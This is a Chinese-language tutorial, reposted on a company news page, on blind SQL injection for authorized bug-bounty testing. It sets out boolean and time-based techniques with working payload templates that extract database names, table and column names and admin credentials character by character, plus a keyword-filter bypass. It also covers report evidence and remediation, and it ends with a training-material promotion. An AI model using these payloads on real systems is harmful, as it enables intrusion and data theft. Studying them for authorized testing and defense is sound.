新闻详情

新闻详情

首页 / 资讯中心 / 详情

SQL 盲注实战,无回显场景下的数据提取

发布时间:2026/9/29 20:51:22来源:尧图网络
SQL 盲注实战,无回显场景下的数据提取
SQL 盲注实战无回显场景下的数据提取摘要在 SQL 注入实战中很多 Web 应用会关闭数据库报错回显页面无论查询成功还是失败只返回两种固定页面正常内容 / 空页面这类场景无法使用 union 联合查询直接回显数据就需要用到 SQL 盲注。本文从布尔盲注、时间盲注原理入手结合 SRC 真实场景讲解完整探测流程、Payload、字符逐位提取思路同时讲解踩坑点、限制与 SRC 提交证据规范。本文所有操作仅可在授权靶场或厂商授权测试范围内执行禁止对未授权站点进行探测。免责声明本文技术内容仅用于网络安全学习、靶场练习、授权安全测试。未经目标系统所有者书面许可禁止扫描、注入、读取任何网站数据。违规操作产生的一切法律责任由操作者自行承担。0x00 前言前面文章我们讲了有回显的 Union 注入这种场景可以直接在页面拿到查询结果。但在真实业务系统中开发一般会关闭数据库错误输出页面不会直接打印数据库查询内容。无论 SQL 执行成功还是失败页面都不会直接输出查询的数据只能通过页面状态来判断 SQL 语句执行结果这就是盲注。盲注分为两大类布尔盲注根据页面返回内容存在数据 / 不存在数据判断 SQL 条件真假时间盲注页面返回无任何差异依靠数据库延时函数通过请求响应时间判断条件真假。盲注难度比 Union 注入更高不能一次性拿到全部数据需要逐字符猜解。很多新手知道盲注 Payload但是不会构造猜解逻辑或者分不清是真盲注还是网络波动造成的假阳性。0x01 布尔盲注原理与基础探测原理当注入条件为真时页面返回正常业务数据注入条件为假时页面返回空内容或者提示无结果。页面的变化代表 SQL 语句执行结果。重点不是页面报错是页面内容有无。假设原始 SQLselect * from user where id 1;可控参数为 id字符型注入单引号闭合。Step1基础真假测试确认布尔注入Payload真条件?id1 and 11 --页面正常返回数据。Payload假条件?id1 and 12 --页面返回空无数据。两次页面状态稳定不同证明存在布尔盲注。踩坑提醒多次重复发包排除 CDN、缓存、服务器负载波动导致页面随机变化。连续 3 次测试结果一致才判定有效。Step2核心函数 substr () ascii () 逐位猜解盲注无法直接返回字符串我们把字符串拆成单个字符转成 ASCII 码使用二分法判断字符大小。函数说明substr(字符串,起始位置,截取长度)截取字符串数据库下标从 1 开始ascii(字符)把字符转为 ASCII 数字方便大小比较。示例 Payload猜测 database () 返回字符串的第 1 位字符的 ASCII 码是否大于 100?id1 and ascii(substr(database(),1,1))100 --如果页面正常条件成立第一个字符 ASCII 100如果页面为空条件不成立第一个字符 ASCII ≤100。通过不断调整数字缩小范围最终确定该位置的字符 ASCII 值再转成字符。重复这个过程依次猜第 2 位、第 3 位…… 直到整个库名猜完。0x01.1 二分法猜解逻辑提升猜解效率不建议从 1 挨个试到 127使用二分法可以大幅减少请求次数。ASCII 可打印字符范围32 ~ 126。举个例子猜库名第一位判断 64页面正常 → ASCII 大于 64判断95页面为空 → ASCII 小于等于 95判断80页面正常 → ASCII 大于 80不断缩小区间最终锁定数值。0x01.2 库名、表名、字段、数据 Payload 模板获取当前数据库名第 n 位字符?id1 and ascii(substr(database(),n,1))x --查询指定库下第 m 张表的第 n 位字符?id1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit m,1),n,1))x --limit m,1读取第 m 行从 0 开始计数。查询指定表的字段名?id1 and ascii(substr((select column_name from information_schema.columns where table_nameadmin_account limit m,1),n,1))x --查询表内数据读取管理员账号?id1 and ascii(substr((select username from admin_account limit 0,1),n,1))x --0x02 时间盲注原理与探测适用场景页面无论条件真假返回内容、响应长度完全一致无法依靠页面内容区分真假。这时使用 sleep () 延时函数通过请求响应时间判断 SQL 是否执行成功。原理当我们构造的条件为 true执行 sleep (N)请求就会卡住 N 秒再返回条件 false则不会执行 sleep请求正常快速返回。Payload 模板字符型单引号闭合?id1 and if(ascii(substr(database(),1,1))100,sleep(5),1) --if 语法if(条件,满足时执行,不满足时执行)解释条件为真执行 sleep (5)请求耗时约 5 秒条件为假执行 1无延时请求快速返回。数字型注入不需要单引号?id1 and if(ascii(substr(database(),1,1))100,sleep(5),1) --时间盲注重要限制与风险sleep 会占用数据库连接高频率发包很容易造成数据库卡顿SRC 测试必须降低并发sleep 时间建议 3~5 秒禁止 sleep (10) 以上网络延迟、服务器负载会干扰时间判断每一个 Payload 至少测试 2 次排除网络抖动很多 WAF、数据库审计会拦截 sleep () 函数遇到 sleep 被拦截可以尝试 benchmark 替代。benchmark 替代 sleep备选 Payload?id1 and if(ascii(substr(database(),1,1))100,benchmark(1000000,md5(test)),1) --benchmark 重复执行 md5 运算消耗 CPU 产生延时。缺点消耗服务器 CPU 资源SRC 测试尽量少用。0x03 实战踩坑点高频坑新手必看坑 1substr 起始下标从 1 开始不是 0很多新手写 substr (xxx,0,1)返回空字符猜解全部失败。MySQL substr 起始位置是1。坑 2多表读取必须加 limit如果不加 limitselect table_name from information_schema.tables返回多行语句报错或者只取第一行猜解结果错乱。limit m,1固定取第 m 行。坑 3编码问题中文猜解失败如果数据包含中文ascii () 只能取单字节需要改用 hex ()把字符串转为十六进制再猜解。hex 示例 Payload?id1 and substr(hex(database()),1,1)7 --坑 4过滤 and/or 关键字WAF 拦截 and可替换为URL 编码%26%26or 替换为||URL 编码%7C%7C。示例?id1 %26%26 ascii(substr(database(),1,1))100 --坑 5盲注猜解大量数据被厂商判定为恶意攻击SRC 提交只需要证明漏洞存在不需要完整跑出全库数据。只猜解数据库名 管理员表名即可作为漏洞证据不要批量跑全部用户数据。0x04 手工盲注完整实战流程确认注入闭合方式真假测试判断是布尔盲注还是时间盲注使用 substrascii二分法猜解数据库名称猜当前库所有表名寻找敏感表 admin、user 等猜敏感表字段读取一条管理员账号数据作为漏洞证据停止发包整理证据准备 SRC 报告。提示手工盲注非常枯燥字符多的时候请求量巨大。实战中一般用脚本自动化猜解手工仅用于验证漏洞是否存在。0x05 SRC 漏洞证据与报告写法盲注漏洞提交证据比 Union 注入难证明需要准备清晰对比包。布尔盲注证据条件为真、条件为假两组请求截图对比页面返回内容 / 响应长度猜解库名的 Payload 示例截图标注条件成立页面正常条件不成立页面为空。时间盲注证据Burp repeater 截图记录两次请求响应时间截图展示条件 true 请求延时 5s条件 false 几乎无延时附上 ifsleep 的 Payload。❌ 不要只贴一个 sleep 请求截图厂商审核会质疑是不是网络延迟。必须一真一假对照。报告描述示例目标接口 id 参数存在字符型 SQL 布尔盲注攻击者可通过 substrascii 逐字符猜解数据库名称、表名、管理员账号密码等敏感数据。攻击者无需页面直接回显数据即可拖取数据库全部内容漏洞等级高危。0x06 盲注漏洞修复方案优先参数化预编译 SQL从根源杜绝 SQL 注入输入校验参数白名单过滤限制输入内容拒绝单引号、and、or 等特殊字符数据库账号最小权限业务账号禁止访问 information_schema数据库层面限制 sleep、benchmark 等高风险函数WAF 增加 SQL 语义检测识别盲注特征 Payload限制高频探测请求业务层增加请求频率限制防止批量猜解。0x07 总结盲注是无回显场景下 SQL 注入的核心利用手段分为布尔盲注和时间盲注。核心逻辑把查询结果拆成单个字符用 asciisubstr 逐位猜解依靠页面状态或者响应延时判断条件真假。实战中优先尝试布尔盲注页面无任何变化再使用时间盲注。盲注测试务必控制发包频率避免对业务造成影响。提交 SRC 漏洞重点提供真假条件对照证据减少审核质疑。拓展堆叠注入、DNSlog 外带注入属于盲注的进阶思路当布尔盲注、时间盲注都无法利用时可以尝试 DNSlog 带外查询后续文章会讲解。最后关于网络安全技术储备学好网络安全不论是就业还是做副业赚钱都不错但要学会网络安全还是要有一个学习规划。最后大家分享一份全套的网络安全学习资料给那些想学习网络安全的小伙伴们一点帮助对于0基础小白入门如果你是零基础小白想快速入门网络安全是可以考虑的。一方面是学习时间相对较短学习内容更全面更集中。二方面是可以找到适合自己的学习方案包括网安成长学习路线图、SRC黑客文档、护网行动、黑客必读书单、面试题、学习视频等教程。带你从零基础系统性的学好网络安全需要的可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】1.成长路线图学习规划要学习一门新的技术作为新手一定要先学习成长路线图方向不对努力白费。对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图学习规划。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。2.网安入门到进阶视频教程很多朋友都不喜欢晦涩的文字我也为大家准备了视频教程其中一共有21个章节每个章节都是当前板块的精华浓缩。全套教程文末领取哈3.SRC黑客文档大家最喜欢也是最关心的SRC技术文籍黑客技术也有收录SRC技术文籍黑客资料由于是敏感资源这里不能直接展示哦全套教程文末领取哈4.护网行动资料其中关于HW护网行动也准备了对应的资料这些内容可相当于比赛的金手指5.黑客必读书单随着互联网技术的飞速发展网络安全已经成为了当今科技领域的一大热点。这些SQL注入、CCNA、Web渗透、Linux服务器等以其强大的语言理解和防御能力正在守护着我们网络世界。 那以下这些PDF籍就是非常不错的学习资源。6.网络安全岗面试题合集当你自学到这里你就要开始思考找工作的事情了而工作绕不开的就是真题和面试题。这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

农业系统Word样式解析实战:POI拆解标题层级与表格结构 2026/9/29 21:28:29

农业系统Word样式解析实战:POI拆解标题层级与表格结构

农业系统做久了,就会碰上一个绕不开的环节:客户交上来的项目申报书、检测报告、补贴申请表,全是Word文档。系统要自动归档和抽取信息,第一步就得集成Word文档样式解析组件——把标题层级、段落格式、表格结构、图片位置这些“排版…

阅读更多 →
生产环境容器化部署实战:从镜像构建到数据备份与故障排查 2026/9/29 21:28:29

生产环境容器化部署实战:从镜像构建到数据备份与故障排查

1. 生产环境容器化部署,整体设计先想清楚什么先交代一下背景。我最近刚帮朋友团队把一套跑了三年的单体系统拆成容器化部署,从开发环境一路推上生产,中间踩了不少坑。做之前看一堆文章都在讲“怎么装 Docker”“怎么写 Dockerfile”&#xff…

阅读更多 →
全网爆火的AI“龙虾”OpenClaw究竟是什么?从本地部署到TaoToken配置一文读懂Web4“养虾”新风口 2026/9/29 21:28:29

全网爆火的AI“龙虾”OpenClaw究竟是什么?从本地部署到TaoToken配置一文读懂Web4“养虾”新风口

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
HEVC(H.265) 相关网站资源汇总:TaoToken 统一 Key 接入 AI 工具配置骨架 2026/9/29 21:28:22

HEVC(H.265) 相关网站资源汇总:TaoToken 统一 Key 接入 AI 工具配置骨架

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
Claude Code 终端安装全流程:TaoToken 统一 Key 配置与 PowerShell 环境变量排错 2026/9/29 21:28:22

Claude Code 终端安装全流程:TaoToken 统一 Key 配置与 PowerShell 环境变量排错

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
5分钟给CherryStudio接上高德MCP:TaoToken统一Key配置AI出行助手,小白也能跑通 2026/9/29 21:28:22

5分钟给CherryStudio接上高德MCP:TaoToken统一Key配置AI出行助手,小白也能跑通

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞 ✉